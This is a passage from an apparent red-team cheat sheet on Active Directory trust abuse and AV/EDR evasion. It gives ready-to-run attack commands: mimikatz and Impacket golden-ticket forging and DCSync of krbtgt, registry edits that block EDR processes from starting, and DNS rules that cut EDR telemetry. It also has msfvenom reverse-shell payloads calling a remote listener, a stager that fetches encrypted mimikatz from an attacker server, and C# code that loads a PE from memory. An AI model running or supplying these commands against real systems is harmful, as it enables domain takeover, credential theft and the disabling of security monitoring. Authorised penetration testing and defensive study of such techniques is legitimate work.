2. Name of the child domain's DC machine account and its RID (`DC01$`, `1337`);
3. SID of the child domain (`S-1-5-21-4266912945-3985045794-2943778634`);
4. SID of the parent domain (`S-1-5-21-2284550090-1208917427-1204316795`);
5. Compomised krbtgt hash from the child domain (`00ff00ff00ff00ff00ff00ff00ff00ff`);
6. ???
7. PROFIT.

**1.** Child domain FQDN:

```
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
```

**2.** Name of the child domain's DC machine account and its RID:

{% tabs %}
{% tab title="Windows" %}

```
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
```

{% endtab %}
{% endtabs %}

**3.** SID of the child domain:

{% tabs %}
{% tab title="Windows" %}

```
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}
{% endtabs %}

**4.** SID of the parent domain:

```
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
```

Create cross-trust golden ticket:

{% tabs %}
{% tab title="Windows" %}

```
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
```

{% endtab %}

{% tab title="Linux" %}

```
$ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 87600] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
```

{% endtab %}
{% endtabs %}

For DCSyncing we'll need only parent domain FQDN (`megacorp.local`):

```
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
```

DCSync:

```
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
```

### Inter-Realm TGT Forging

Manually craft an IR TGT injecting a privileged SID (example for `WITHIN_FOREST` trust but can also be adopted for `TREAT_AS_EXTERNAL` [case](#attack-forest-trusts)):

```
$ ticketer.py -spn 'krbtgt/MEGACORP.LOCAL' -nthash <MEGACORP_LOCAL_TRUST_NTHASH> -domain child.megacorp.local -domain-sid <CHILD_MEGACORP_LOCAL_SID> -extra-sid <MEGACORP_LOCAL_SID>-516,S-1-5-9 [-groups 516] [-user-id <MEGACORP_LOCAL_DC01_RID>] 'DC01$'
```

Request an ST for DCSync:

```
$ KRB5CCNAME='DC01$.ccache' getST.py -spn 'CIFS/DC02.megacorp.local' -k -no-pass megacorp.local/'DC01$' -dc-ip 192.168.1.11 -debug
```

DCSync:

```
$ KRB5CCNAME='DC01$_CIFS_DC02.ccache' secretsdump.py -k -no-pass DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -debug
```

## UnD + PrinterBug

* <https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>
* <https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>
* <https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1>
* <https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe>

{% content-ref url="/pages/S1BnFUBo6yttWO1nEjVE" %}
[Unconstrained](/pentest/infrastructure/ad/kerberos/delegation-abuse/kud)
{% endcontent-ref %}

Can be abused either if **CVE-2019-0683** is not fixed or if `EnableTGTDelegation` is enabled for the trusted forest:

```
Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes
```

## Attack Forest Trusts

* <https://mayfly277.github.io/posts/GOADv2-pwning-part12/>
* <https://exploit.ph/external-trusts-are-evil.html>

List foreign users and users from foreign groups:

```
PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]

PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]

PV > Convert-SidToName ...
```

List user accounts from a target domain with SPNs set for [Kerberoasting](/pentest/infrastructure/ad/kerberos/roasting#kerberoasting):

```
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
```

If SID history is enabled (e. g., if domain is on its migration period, `netdom trust b.net /d:a.net /enablesidhistory:yes`) then the forest trust is treated as *external*.

We can try to locate non-default (with RID greater than 1000) admin account:

```
PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
```

If such an account is a member of a domain local security group (not a global group like `Enterprise Admins` or `Domain Admins`) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described [above](#sidhistory-extrasids-hopping).

### CVE-2020-0665

* <https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/>
* <https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/>
* <https://github.com/dirkjanm/forest-trust-tools>


# Attack RODCs

Read-Only Domain Controllers

* <https://adsecurity.org/?p=3592>
* <https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/>
* <https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06>
* <https://xakep.ru/2023/02/08/read-only-dc/>


# AV / EDR Evasion

* <https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/>
* <https://codeby.net/threads/meterpreter-snova-v-dele-100-fud-with-metasploit-5.66730/>
* <https://github.com/phackt/stager.dll>
* <https://medium.com/securebit/bypassing-av-through-metasploit-loader-32-bit-6d62930151ad>
* <https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8>
* <https://xakep.ru/2020/12/23/shikata-ga-nai/>
* <https://infosecwriteups.com/evade-avs-edr-with-shellcode-injection-159dde4dba1a?gi=84db9a8c5c5f>
* <https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/>
* <https://luemmelsec.github.io/Circumventing-Countermeasures-In-AD/>
* <https://blog.sunggwanchoi.com/creating-a-loader-poc-using-various-languages/>
* <https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/>
* <https://xakep.ru/2021/07/23/detection-bypassing/>
* <https://zen.yandex.ru/media/id/5d4f02da027a1500ad43866f/obhodim-antivirusy-kriptor-net-prilojenii-5fc6a199a8f33a1036140386>
* <https://www.synacktiv.com/publications/a-dive-into-microsoft-defender-for-identity.html>

![BypassAV Mindmap](https://raw.githubusercontent.com/CMEPW/BypassAV/main/img/Bypass-AV.png)

## Toy EDRs

* <https://xacone.github.io/BestEdrOfTheMarket.html>
* <https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/>
* <https://github.com/Helixo32/CrimsonEDR>
* <https://github.com/0xflux/Sanctum>

## Recon

* <https://github.com/ethereal-vx/Antivirus-Artifacts>
* <https://github.com/Mr-Un1k0d3r/EDRs>

Search for active AV processes on hosts (local admin priveleges required):

```
Cmd > WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
PS > gc .\100-hosts.txt | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$_.Caption -in "MsMpEng.exe"} | select ProcessName,PSComputerName}
```

Identify Microsoft.NET version from inspecting assembly properties:

```
PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion
```

Identify Microsoft.NET version from querying the registry:

```
PS > Get-ItemProperty "HKLM:SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -Name Release
```

Windows build <-> default .NET Framework version associations:

| Windows Build | Default .NET Framework Version |
| ------------- | ------------------------------ |
| 1511          | 4.6.1                          |
| 1607          | 4.6.2                          |
| 1703          | 4.7                            |
| 1709          | 4.7.1                          |
| 1803          | 4.7.2                          |
| 1909+         | 4.8                            |

.NET Framework version <-> CLR version associations:

| .NET Framework Version | CLR Version |
| ---------------------- | ----------- |
| 2.0, 3.0, 3.5          | 2           |
| 4, 4.5-4.8             | 4           |

{% hint style="info" %}
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's enough to match the above relationship between .NET Framework version and CLR version, i. e. all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on a machine with only .NET v4.0 installed.
{% endhint %}

Potential scan exclusions:

* `C:\Windows\System32\LogFiles\`
* `C:\Windows\System32\inetsrv\`
* `C:\Windows\ClusterStorage\`
* `C:\ProgramData\Microsoft\Windows\Hyper-V\`

## Attacking EDRs

* <https://mansk1es.gitbook.io/edr-binary-abuse/>
* <https://xss.is/threads/67718/>
* <https://www.safebreach.com/blog/dark-side-of-edr-offensive-tool/>
* <https://www.alteredsecurity.com/post/when-the-hunter-becomes-the-hunted-using-custom-callbacks-to-disable-edrs>
* <https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/>
* <https://github.com/arosenmund/defcon33_silence_kill_edr>

**Hard-style** launch prevention using [IFEO](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options):

```
Cmd > reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<EDR_IMAGE.exe>" /t REG_SZ /v Debugger /d "C:\Windows\System32\rundll32.exe" /f
```

**Hard-style** launch prevention using [BootExecute](https://github.com/rad9800/BootExecuteEDR):

```
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk *\0BEB" /f
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /f
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /f
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
```

**Hard-style** launch prevention using PPL process start:

* <https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html>
* <https://github.com/2x7EQ13/CreateProcessAsPPL>

### WFP-Based Prisons

* <https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/>

#### EDRSilencer

* <https://github.com/netero1010/EDRSilencer/tree/main>

#### EDRPrison

* <https://www.3nailsinfosec.com/post/edrprison-borrow-a-legitimate-driver-to-mute-edr-agent>
* <https://github.com/senzee1984/EDRPrison>

#### WinDivert

* <https://reqrypt.org/windivert-doc.html>
* <https://github.com/basil00/Divert/wiki/WinDivert-Documentation>

**.NET:**

* <https://github.com/TechnikEmpire/WinDivertSharp>
* <https://github.com/xljiulang/WindivertDotnet>

**Python:**

* <https://github.com/ffalcinelli/pydivert>
* <https://github.com/shuxin/pydivert>
* <https://github.com/xshiraori/PyDivert2>

### ARP Spoofing + Scapy

* <https://tierzerosecurity.co.nz/2024/07/23/edr-telemetry-blocker.html>
* <https://github.com/TierZeroSecurity/edr_blocker>

### Name Resolution Policy Table

* <https://cloudbrothers.info/en/edr-silencers-exploring-methods-block-edr-communication-part-1/>

Add rule:

```
PS > Add-DnsClientNrptRule -Namespace "web-panel.edr.megacorp.local" -NameServers 127.0.0.1 -Comment "MegaCorp EDR Web Panel"
PS > Clear-DnsClientCache -Confirm:$false
```

Remove rule:

```
PS > Get-DnsClientNrptRule -Namespace "web-panel.edr.megacorp.local" | Remove-DnsClientNrptRule -PassThru -Confirm:$false -Force
```

## EDR Blindspots

### Bring Your Own Interpreter (BYOI)

* <https://synzack.github.io/Bring-Your-Own-Interpreter/>

#### Python

* <https://github.com/hakril/PythonForWindows>
* <https://trustedsec.com/blog/operating-inside-the-interpreted-offensive-python>
* <https://github.com/Teach2Breach/rpeloader>

**Pyramid**

* <https://www.naksyn.com/edr%20evasion/2022/09/01/operating-into-EDRs-blindspot.html>
* <https://github.com/naksyn/Pyramid>
* <https://github.com/naksyn/Embedder>
* <https://gist.github.com/snovvcrash/39263ccae8e07210c3f87c9472b4c908>

**BOFs with Python**

* <https://github.com/rkbennett/pybof>
* <https://tishina.in/execution/python-inmemory-bof>
* <https://github.com/zimnyaa/inmembof.py>
* <https://github.com/ELMERIKH/PyinMemoryPE>

**Python RDI**

* <https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter/source/extensions/python>
* <https://github.com/n1nj4sec/pupy/tree/unstable/client/sources>

### Backdoor Electron Applications (JavaScript)

* <https://www.ibm.com/think/x-force/bypassing-windows-defender-application-control-loki-c2>
* <https://github.com/boku7/Loki>

## PE Obfuscation

* <https://blog.es3n1n.eu/posts/obfuscator-pt-1>

### OLLVM

* <https://0xpat.github.io/Malware_development_part_6/>
* <https://trustedsec.com/blog/behind-the-code-assessing-public-compile-time-obfuscators-for-enhanced-opsec>
* <https://github.com/icyguider/Shhhloader>
* <https://hub.docker.com/repository/docker/snovvcrash/ollvm13>
* <https://github.com/jonpalmisc/limoncello>
* <https://github.com/janoglezcampos/llvm-yx-callobfuscator>

Install LLVM 13.x obfuscator based on [heroims/obfuscator](https://github.com/heroims/obfuscator) and [tpoechtrager/wclang](https://github.com/tpoechtrager/wclang):

```bash
apk update
apk add --no-cache build-base cmake git python3 mingw-w64-gcc
rm -rf /var/cache/apk/*
git clone --depth=1 -b llvm-13.x --single-branch https://github.com/heroims/obfuscator /opt/ollvm
cd /opt/ollvm
wget https://github.com/llvm/llvm-project/commit/ff1681ddb303223973653f7f5f3f3435b48a1983.patch
patch llvm/include/llvm/Support/Signals.h < ff1681ddb303223973653f7f5f3f3435b48a1983.patch
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_ENABLE_NEW_PASS_MANAGER=OFF ../llvm
sed -i 's/LLVM_TOOL_CLANG_BUILD:BOOL=OFF/LLVM_TOOL_CLANG_BUILD:BOOL=ON/g' CMakeCache.txt
sed -i "s|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=`realpath ../clang`|g" CMakeCache.txt
make -j7
make install
git clone --depth=1 https://github.com/tpoechtrager/wclang /opt/wclang
cd /opt/wclang
cmake .
make -j7
make install
rm -rf /opt/ollvm /opt/wclang && mkdir /build
```

### TinyCC

* <https://bellard.org/tcc/>
* <https://github.com/DosX-dev/obfus.h>

```
PS > curl https://download.savannah.gnu.org/releases/tinycc/tcc-0.9.27-win64-bin.zip -o tcc.zip
PS > Expand-Archive .\tcc.zip -DestinationPath .
PS > rm tcc.zip; cd tcc
PS > curl https://github.com/DosX-dev/obfus.h/raw/refs/heads/main/include/obfus.h -o obfus.h
PS > curl https://download.savannah.gnu.org/releases/tinycc/winapi-full-for-0.9.27.zip -o tcc-winapi.zip
PS > Expand-Archive .\tcc-winapi.zip -DestinationPath .
PS > rm tcc-winapi.zip
PS > Copy-Item -Path .\winapi-full-for-0.9.27\include\* -Destination .\include\ -Recurse -Force
PS > .\tcc.exe -w -DVIRT -DCFLOW_V2 -DANTIDEBUG_V2 -o msgbox.exe msgbox.c -luser32
```

### String Encryption

* <https://gist.github.com/EvanMcBroom/ad683e394f84b623da63c2b95f6fb547>
* <https://github.com/skadro-official/skCrypter>
* <https://github.com/trustedsec/The_Shelf/blob/main/POC/impacketremoteshell/RemoteMaint/stringobf.h>
* <https://github.com/Evi1Grey5/Bypass-Smartscreen-/blob/main/obfuscate.h>

### Tools

* <https://github.com/mike1k/perses>
* <https://github.com/weak1337/Alcatraz>
* <https://github.com/es3n1n/obfuscator>
* <https://github.com/d35ha/CallObfuscator>
* <https://github.com/ac3ss0r/obfusheader.h>
* <https://github.com/EgeBalci/deoptimizer>
* <https://github.com/DosX-dev/Astral-PE>
* <https://github.com/x86byte/Obfusk8>

## Shellcode Mutation

* <https://g3tsyst3m.com/shellcode/pic/Let's-Create-Some-Polymorphic-PIC-Shellcode!/>

### Tools

* <https://medium.com/@0x0vid/same-same-but-different-a-dive-into-keyless-polymorphism-7570c1def3e2>
* <https://github.com/codewhitesec/Lastenzug/tree/main/LastenPIC/SpiderPIC>
* <https://github.com/tijme/dittobytes>
* <https://github.com/gum3t/chameleon>

## PowerShell Tactics

* <https://github.com/specterops/at-ps>
* <https://telegra.ph/Komandy-PowerShell-dlya-pentesterov-03-01>

### PowerShell Obfuscation

* <https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation>
* <https://github.com/t3l3machus/PowerShell-Obfuscation-Bible>
* <https://github.com/tokyoneon/Chimera>
* <https://github.com/klezVirus/chameleon>
* <https://github.com/AdrianVollmer/PowerHub>

#### Invoke-Obfuscation

* <https://github.com/danielbohannon/Invoke-Obfuscation>
* <https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide>

#### Out-EncryptedScript.ps1

* <https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncryptedScript.ps1>
* <https://powersploit.readthedocs.io/en/latest/ScriptModification/Out-EncryptedScript/>

```
PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) s4lt -FilePath .\evil.ps1
PS > . .\evil.ps1
PS > $dec = de "Passw0rd!" s4lt
PS > Invoke-Expression $dec
```

#### PowerShellArmoury

* <https://github.com/cfalta/PowerShellArmoury>
* <https://cyberstoph.org/posts/2019/12/evading-anti-virus-with-powershell-armoury/>
* <https://cyberstoph.org/posts/2020/02/psarmoury-1.4-now-with-even-more-armour/>

```
PS > git clone https://github.com/cfalta/PowerShellArmoury
PS > cd PowerShellArmoury
PS > curl https://github.com/snovvcrash/WeaponizeKali.sh/raw/main/conf/PSArmoury.json -o PSArmoury.json
PS > . .\New-PSArmoury.ps1
PS > New-PSArmoury -ValidateOnly -Config PSArmoury.json
PS > New-PSArmoury -Path armored.ps1 -Config PSArmoury.json
PS > cat -raw .\armored.ps1 | iex
```

## Tools

### msfvenom

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe -o rev.exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai -i 9 -f raw | msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -k -f exe -o met.exe
```

### Veil-Evasion

Hyperion + Pescramble

```
$ wine hyperion.exe input.exe output.exe
$ wine PEScrambler.exe -i input.exe -o output.exe
```

### GreatSCT

* <https://github.com/GreatSCT/GreatSCT>

{% embed url="<https://youtu.be/krC5j1Ab44I?t=3730>" %}

Install and generate a payload:

```
$ git clone https://github.com/GreatSCT/GreatSCT ~/tools/GreatSCT
$ cd ~/tools/GreatSCT/setup
$ ./setup.sh
$ cd .. && ./GreatSCT.py
...generate a payload...
$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}

$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
```

Exec with `msbuild.exe` and get a shell:

```
PS > cmd /c C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe payload.xml
```

### Ebowla

```
$ git clone https://github.com/Genetic-Malware/Ebowla ~/tools/Ebowla && cd ~/tools/Ebowla
$ sudo apt install golang mingw-w64 wine python-dev -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.13.37 LPORT=1337 --platform win -f exe -a x64 -o rev.exe
$ vi genetic.config
... Edit output_type, payload_type, clean_output, [[ENV_VAR]] ...
$ python ebowla.py rev.exe genetic.config && rm rev.exe
$ ./build_x64_go.sh output/go_symmetric_rev.exe.go ebowla-rev.exe [--hidden] && rm output/go_symmetric_rev.exe.go
[+] output/ebowla-rev.exe
```

### PEzor

* <https://github.com/phra/PEzor>

Wrap executable into PEzor:

```
$ bash PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 evil.exe -z 2
```

### inceptor

* <https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/>
* <https://github.com/klezVirus/inceptor>

### ScareCrow

* <https://github.com/optiv/ScareCrow>
* <https://www.grahamhelton.com/blog/scarecrow/>
* <https://adamsvoboda.net/evading-edr-with-scarecrow/>

### charlotte

* <https://github.com/9emin1/charlotte>
* <https://github.com/cepxeo/dll4shell>

```
$ sudo apt install 'mingw-w64*' -y
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f raw > beacon.bin
$ python charlotte.py
Cmd > rundll32.exe charlotte.dll, <XOR_KEY>
```

### MeterPwrShell

* <https://github.com/GetRektBoy724/MeterPwrShell/releases>
* <https://raikia.com/tool-powershell-encoder/>

```
$ sudo ./MeterPwrShell2Kalix64 -c noaptupdate
```

### stager\_libpeconv

* <https://github.com/tothi/stager_libpeconv>
* <https://github.com/hasherezade/libpeconv>

```
$ git clone --recurse-submodules https://github.com/tothi/stager_libpeconv && cd stager_libpeconv
$ openssl enc -rc4 -in mimikatz.exe -K `echo -n '1234567890123456' | xxd -p` -nosalt -out mimikatz.rc4
$ make stager IMPLANT_IP=10.10.13.37 IMPLANT_PORT=1337 RC4_KEY=1234567890123456
$ ./socket_binary_server.py mimikatz.rc4 10.10.13.37 1337
Cmd > dist\stager.exe
```


# .NET Assembly

## Patch Environment.Exit

* <https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies/>
* <https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/>
* [https://github.com/kyleavery/inject-assembly/blob/8db977c0fd1da039df920f9dd4840d4a3ec2aa2c/src/scmain.c](https://github.com/kyleavery/inject-assembly/blob/8db977c0fd1da039df920f9dd4840d4a3ec2aa2c/src/scmain.c#L462-L613)

## C# to Unmanaged DLL

* <https://blog.xpnsec.com/rundll32-your-dotnet/>

Creating assembly with DLL exports from C# code:

1. Select your favorite C# offensive tool.
2. Install [DllExport](https://www.nuget.org/packages/DllExport/) package via "Manage NuGet Packages for Solution" in VS.
3. Configure DllExport like on the screenshot below and click "Apply".
4. Agree to reload the solution.
5. Edit the Main function code to work with no arguments passed so that the signature looks like `static void Main()`.
6. Add `[DllExport]` attribute before the Main function.
7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like [Confuser](https://github.com/XenocodeRCE/neo-ConfuserEx).

![DllExport Configuration](/files/-Mk-21w_4MMFcj3SWVdx)

The resulting DLL will be placed in `.\bin\x64\Release\x64\` directory.

{% hint style="warning" %}
Author's note: *I’m not sure why it requires so much finessing, but I’m open to any optimizations or explanations if anyone knows. Specifically, only the DLL in the `\x64\` directory will work, for some reason the one that’s under `\Release\` does not contain the entrypoint that should be generated by `[DllExport]`, even though it’s built at the same time as the one in `\x64\`.*
{% endhint %}

## .NET Obfuscators

* <https://github.com/NotPrab/.NET-Obfuscator>
* <https://github.com/Flangvik/ObfuscatedSharpCollection>
* <https://www.r-tec.net/r-tec-blog-net-assembly-obfuscation-for-memory-scanner-evasion.html>
* <https://any.run/cybersecurity-blog/net-malware-obfuscators-analysis-part-one/>

Hide command line by overwriting `args` to read values from a text file:

```csharp
string line = File.ReadLines("cmd.txt").FirstOrDefault();
args = line.Split(' ');
```

### Tools

* <https://github.com/dr4k0nia/XorStringsNET>
* <https://github.com/0xb11a1/yetAnotherObfuscator>

#### Confusers

* <https://github.com/yck1509/ConfuserEx>
* <https://github.com/XenocodeRCE/neo-ConfuserEx>
* <https://mkaring.github.io/ConfuserEx/>
* <https://github.com/mkaring/ConfuserEx>

#### InvisibilityCloak

* <https://github.com/h4wkst3r/InvisibilityCloak>

```
PS > wget https://github.com/h4wkst3r/InvisibilityCloak/raw/main/InvisibilityCloak.py -o InvisibilityCloak.py
PS > git clone https://github.com/GhostPack/Rubeus
PS > python .\InvisibilityCloak.py -d .\Rubeus\ -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})) -m reverse
PS > cd Rubeus
PS > devenv /build Release .\ChOVuwPZcNQmXtKF.sln
```

{% code title="InvisibilityCloak.ps1" %}

```powershell
$repo = "GhostPack/Rubeus"

$cloak = "C:\Users\user\Desktop\Tools\InvisibilityCloak.py"
$devenv = "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\devenv.com"

$target = $repo.Split('/')[1]
$obf = -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
git clone "https://github.com/$repo" "C:\Windows\Temp\$target"
python $cloak -d "C:\Windows\Temp\$target" -n $obf -m reverse
& $devenv /build Release "C:\Windows\Temp\$target\$obf.sln"
mv "C:\Windows\Temp\$target\$obf\bin\Release\$obf.exe" "\\vmware-host\Shared Folders\share-host\$obf.exe"
#Remove-Item -Recurse -Force "C:\Windows\Temp\$target"
```

{% endcode %}

## SharpSploit

* <https://github.com/cobbr/SharpSploit>
* <https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-%20Quick%20Command%20Reference.md>

### SharpGen

* <https://github.com/cobbr/SharpGen>
* <https://cobbr.io/SharpGen.html>

#### Execution.ShellCode

```
$ ~/tools/PEzor/deps/donut/donut -i GruntHTTP.exe -o grunt.bin
$ echo -n 'var shellcode = Convert.FromBase64String("' > shellcode.txt
$ echo -n `base64 -w0 grunt.bin` >> shellcode.txt
$ echo '");' >> shellcode.txt
$ echo 'ShellCode.ShellCodeExecute(shellcode);' >> shellcode.txt
$ ~/.dotnet/dotnet bin/Debug/netcoreapp2.1/SharpGen.dll -f payload.exe -s shellcode.txt -c Shell -d net40
```


# .NET Config Loader

* <https://gist.github.com/djhohnstein/afb93a114b848e16facf0b98cd7cb57b>
* <https://gist.github.com/byt3bl33d3r/de10408a2ac9e9ae6f76ffbe565456c3>
* <https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/>
* <https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/>
* <https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/>
* <https://github.com/netbiosX/Ghostloader>
* <https://github.com/Mr-Un1k0d3r/.NetConfigLoader>
* <https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/>
* <https://github.com/ipSlav/DirtyCLR>


# .NET Dynamic API Invocation

## D/Invoke

* <https://dinvoke.net/>
* <https://thewover.github.io/Dynamic-Invoke/>
* <https://github.com/TheWover/DInvoke>
* <https://web.archive.org/web/20210601171512/https://rastamouse.me/blog/process-injection-dinvoke/>
* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/Dinvoke_CreateRemoteThread.cs>
* <https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/>
* <https://offensivedefence.co.uk/posts/dinvoke-syscalls/>

### Run PE From Memory

* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/PE_Loader_DInvoke_ManualMap.cs>

{% code title="DInvokePE.cs" %}

```csharp
using System;
using System.IO;
using System.IO.Compression;

namespace DInvokePE
{
    public class Program
    {
        static byte[] Compress(byte[] data)
        {
            var output = new MemoryStream();
            using (var dStream = new DeflateStream(output, CompressionLevel.Optimal))
                dStream.Write(data, 0, data.Length);

            return output.ToArray();
        }

        static byte[] Decompress(byte[] data)
        {
            var input = new MemoryStream(data);
            var output = new MemoryStream();
            using (var dStream = new DeflateStream(input, CompressionMode.Decompress))
                dStream.CopyTo(output);

            return output.ToArray();
        }

        public static void Main(string[] args)
        {
            /*
            var rawBytes = File.ReadAllBytes(@"C:\Users\user\Desktop\mimikatz.exe");
            var compressed = Compress(rawBytes);
            var compressedB64 = Convert.ToBase64String(compressed);
            Console.WriteLine(compressedB64);
            */

            var compressed = Convert.FromBase64String("");
            var rawBytes = Decompress(compressed);
            var map = DInvoke.ManualMap.Map.MapModuleToMemory(rawBytes);
            DInvoke.DynamicInvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase);
            Console.ReadLine();
